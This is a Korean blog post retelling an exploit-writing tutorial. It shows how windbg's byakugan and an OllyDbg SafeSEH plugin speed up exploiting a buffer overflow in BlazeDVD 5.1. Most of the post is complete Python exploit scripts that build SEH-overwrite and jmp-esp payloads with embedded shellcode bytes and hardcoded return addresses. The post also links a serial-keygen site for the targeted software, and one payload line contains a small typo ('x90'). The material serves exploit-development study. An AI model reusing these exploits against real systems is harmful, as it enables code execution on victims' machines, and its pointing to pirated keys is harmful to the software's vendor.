cgy12306

Exploit writing tutorial part 5 : How debugger modules & plugins can speed up basic exploit development 본문

Windows/WinPwn

Exploit writing tutorial part 5 : How debugger modules & plugins can speed up basic exploit development

cgy12306 2020. 4. 18. 13:03

공격코드 제작을 위해 기본적으로 갖춰야 할 도구들

  • windbg / ollydbg / immunity debugger
  • 메타스플로잇
  • pydbg
  • perl, python과 같은 스크립팅 도구

1. Byakugan : pattern_offset and searchOpcode

byakugan.dll과 injectsu.dll 파일을 windbg 폴더에 넣는다. 그리고 detoured.dll을 C:\windows\system32 폴더 안에 저장한다.

byakugan.dll로 할 수 있는 작업은 아래와 같다

  • justsu : 메모리 내의 버퍼를 추적하는 툴 세트로, 충돌 발생 시 제어 가능한 항목과 유효한 리턴 주소를 찾아내는 도구
  • pattern offset
  • mushishi : 안티 디버깅 탐지 및 안티 디버깅 우회 기법을 위한 프레임워크
  • tenketsu : 비스타 힙 에뮬레이터/시각화 도구

injectsu.dll은 목표 프로세스 내부의 API 함수 후킹을 처리한다. 이것은 디버거와 연결된 백그라운드 채널 정보 수집을 수행하는 스레드를 생성한다. detoured.dll은 마이크로스프트 리서치 후킹 라이브러리로, 트렘폴린 코드를 처리하고, 후킹된 함수를 추적해 함수 트렘폴린에 대한 자동 수정을 수행한다.

byakugan 모듈을 로드하자.

jutsu 컴포넌트는 다음과 같은 기능을 제공한다.

  • idenBuf / listBuf / rmBuf : 메모리에서 버퍼를 찾음(아스키, MSF 패턴, 데이터 등등)
  • memDiff : 패턴과 메모리 안의 데이터를 비교하고 변화된 부분을 체크한다. 이것은 메모리에서 쉘코드가 변화되거나 오염되었는지, 또한 쉘코드에서 삭제되어야 할 부분이 어디인지 결정하는데 도움을 준다.
  • findReturn : 리턴으로 사용 가능한 함수 주소를 검색
  • searchOpcode : 어셈블러를 기계어로 전환하고, 동시에 실행 가능한 모든 기계어 순차 주소를 목록화
  • searchVtptr
  • trackVal

이것 말고도 jutsu는 메모리에서 메타스플로잇 패턴을 찾아 주고, EIP 오프셋을 보여주는 pattern_offset 기능도 제공한다. byakugan이 어떻게 공격코드 개발 프로세스를 가속화 시켜주는지 설명하기 위해 BlazeDVD 5.1 HDTV Player 6.0에 존재하는 취약점을 이용하겠다.

https://www.findserialnumber.net/blazedvd-professional-5-1-0-3-serial-number-keygen-6359ce0c.html#

이 주소에서 키를 배포한다.

from pwn import *
payload = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B'
f = open('./blazecrash.plf', 'w')
f.write(payload)
f.close()

패턴을 생성해서 파일로 저장햇다.

byakugan 모듈을 사용하면 오프셋을 쉽게 구할 수 있다.

이번 공격은 SEH 기반으로 이루어지는 것을 알 수 있다.

실제 오프셋을 구하기 위해 해당주소에서 4byte를 빼줘야 한다.(=608)

페이로드는 다음과 같다.

junk | jump | ppr | shellcode

이제 pop pop ret을 찾아보자.

  • 30byte 점프(6byte 대신)
  • NOP으로 시작하는 쉘코드 시작(30byte 보충)

!jutsu searchOpcode를 사용하겠다.

!jutsu searchOpcode pop esi | pop ebx | ret

0x60329c69(lm 명령어를 사용하면 windbg에서 실행 가능한 모듈의 주소를 알아볼 수 있다.)

from pwn import *

shellcode = '\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05\x7f\xe8\x7b\xca'


payload  = 'A' * 608
payload += '\xeb\x06\x90\x90'
payload += p32(0x60329c69)
payload += shellcode
payload += '\x90' * 1000


f = open('./blazecrash.plf', 'w')
f.write(payload)
f.close()

Byakugan : memDiff

memDiff는 쉘코드 오염과 어딘가에 있을지 모르는 오염 문자를 찾아내준다.

jmp(0xeb, 0x1e) 대신 브레이크 포인트(0xcc)를 삽입해서 원래의 쉘코드와 메모리에 실제 삽입된 쉘코드가 일치하는지 확인해보겠다.

shell = '\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05\x7f\xe8\x7b\xca'

f = open('./shell.txt', 'w')
f.write(shell)
f.close()

shell.txt 파일을 생성해서 저장하고, Blaze DVD를 실행시켜보자.

쉘 코드 시작주소는 0x0012f5c0이다.

!jutsu memDiff file 144 C:\shell.txt 0x0012f5c0

memDiff 실행 시 인자로 입력한 내용

  • file : memDiff가 파일에서 내용을 가져온다는 것을 명시
  • 144 : 쉘코드 길이
  • C:\shell.txt 쉘코드 파일 경로
  • 0x0012f5c0 시작 주소

쉘 코드를 살짝 바꿔서 다시 실행해보자.

쉘 코드 내용을 77로 바뀐 부분이 굵은 표시로 나타내 준다.

Byakugan : idenBuf/listBuf/rmBuf and hunt

jutsu 함수는 메모리에서 버퍼 위치를 찾는데 도움을 준다.

from pwn import *

shellcode = '\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05\x7f\xe8\x7b\xca'


payload  = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au'

#payload += '\xeb\x06\x90\x90'
payload += '\xcc\xcc\x90\x90'
payload += p32(0x60329c69)
payload += shellcode
payload += '\x90' * 1000


f = open('./blazecrash.plf', 'w')
f.write(payload)
f.close()

다음과 같이 패턴을 608byte 넣어주고 코드를 실행해보자.

이런 결과가 나올것이다.

다음 두개의 identBuf 정의를 생성해보자. 하나는 메타스플로잇 패턴, 하나는 쉘코드를 위한 정의를 의미한다.

!jutsu identBuf file myShell C:\shell.txt

!jutsu identBuf msfpattern myBuffer 608

!jutsu listBuf

이 버퍼에 대해 byakugan hunt를 실행해 보자.

!jutsu hunt

Hunt는 오프셋 260 위치에서 EIP를 제어할 수 있다고 한다.

다시 디버거에서 g를 눌러 첫 번째 예외를 무시하고, 브레이크 포인트까지 가보자.

다시 hunt를 실행해보자.

더 이상 mybuffer를 이용해서 EIP를 제어할 수 없다.

하지만 EIP(0x0012f5b8) 주변을 보면

eip+8지점에 쉘코드가 있는 것을 확인할 수 있다.

이 말은 코드를 8byte 점프 코드로 바꾸면 쉘코드로 이동시킬 수 있다는 말이 된다.

Byakugan: findReturn

from pwn import *

junk = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7'

junk2 = 'A' * 1000

payload = junk + junk2

f = open('./blazesploit.plf', 'w')
f.write(payload)
f.close

f = open('./junk2.txt', 'w')
f.write(junk2)
f.close

264byte의 패턴과 1000개의 A로 구성된 공격코드를 제작해서 파일로 저장하자.

windbg에서 위와같은 결과가 나온다.

제대로 동작하는 공격코드 구축에 필요한 모든 정보를 찾는 byakugan 툴 세트를 사용해 보자.

  • 메타스플로잇 pattern 추적(junk)
  • A 값들 추적(junk2)
  • EIP를 덮어쓸 위치를 찾기(offset)
  • junk와 junk2가 위치한 곳 찾기

!jutsu identBuf msfpattern myJunk1 264

!jutsu identBuf file myJunk2 c:\junk2.txt

!jutsu listBuf

!jutsu hunt

  • return address 검색

!jutsu findReturn

결과를 정리해보자.

  • EIP는 myjunk1에서 오프셋 260 위치를 덮어쓰면 제어가 가능하다.

  • myJunk2는 0x0012f460(ESP-0xa)에서 발견 되었다.

  • 공격코드는 junk에서 4byte를 제거하고, 이 부분을 jmp esp와 같은 주소로 변경해야 한다. (리턴 주소는 findReturn 보다 findjmp 및 memdump와 같은 툴을 사용해 직접 찾아보는 것이 더 좋다.)

  • 1000개의 A를 쉘코드로 변경해야 한다.

  • 쉘코드 앞 부분에 적어도 16개의 NOP는 추가해 줘야 한다.

     

from pwn import *

shellcode = '\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05\x7f\xe8\x7b\xca'

payload = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai'

payload += p32(0x4b2c5a86)
payload += 'x90' * 50
payload += shellcode
payload += '\x90' * 1000


f = open('./blazecrash.plf', 'w')
f.write(payload)
f.close()

Ollydbg 플러그인

이 플러그인은 로드 된 프로세스 모듈의 메모리 영역을 검색해 해당 모듈이 /safeseh로 컴파일 된 것인지 확인한다.

플러그인은 /safeseh로 컴파일 된 모듈의 리스트를 출력함으로써 공격코드로 사용 가능한 리턴 주소를 검색하는데 도움을 준다.

프로세스에 디버거를 attach 한 상태에서만 사용가능하다.

  1. 모든 실행가능 모듈을 목록화(E)
  2. Safeseh 모듈 목록화
    • Plugins ⇒ SafeSEH ⇒ Scan /SafeSEH Modules

위 목록에서, 'pop pop ret' 명령어로 쓸 수 있는 메모리 공간을 찾기 위해 'No SEH' 또는 '/safeSEH OFF'로 체크된 모듈을 찾아보면 된다.

Search for ⇒ sequence of commands

pop eax pop ebx

이렇게 입력하면 가젯을 찾을 수 있다.

Comments